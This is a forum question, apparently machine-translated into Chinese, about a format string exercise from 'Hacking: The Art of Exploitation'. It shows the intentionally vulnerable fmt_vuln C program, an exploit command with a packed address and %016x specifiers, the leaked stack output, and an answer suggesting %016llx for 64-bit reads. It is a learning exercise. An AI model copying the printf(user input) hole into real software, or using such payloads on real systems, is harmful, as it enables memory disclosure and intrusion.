我目前正在阅读“黑客攻击的艺术利用”,其中谈到格式字符串漏洞。这本书的练习试图通过将地址写入堆栈并使用格式参数读取,从内存的任意部分读取数据。问题是这个练习是为32位系统编写的,而我正在研究64位系统。我尝试在64位系统上运行的方法如下:
./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
我从外壳得到的反应是:
打印用户控制输入的正确方法:
?????%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
错误的方法
打印用户控制输入:
0000000055755010.00000000f7dd18c0.00000000f7af4154.00000000000000000000035.0 ffffe088.000000005543c0.00000000ffeeaa
[*]测试值@0x55755010=
-72个0xffffffb8
如您所见,我只能读取较低的4个字节(0xFFFFEEAA),而较高的2个字节已经消失(0x7FFF)。有没有想过我该怎么解决?
顺便说一下,这是书中的fmt_vuln代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
这是我的贝壳的屏幕截图:
最佳答案
尝试使用%016llx
(长x)而不是%016x
读取,因为您读取的是64位十六进制,而不是32位十六进制。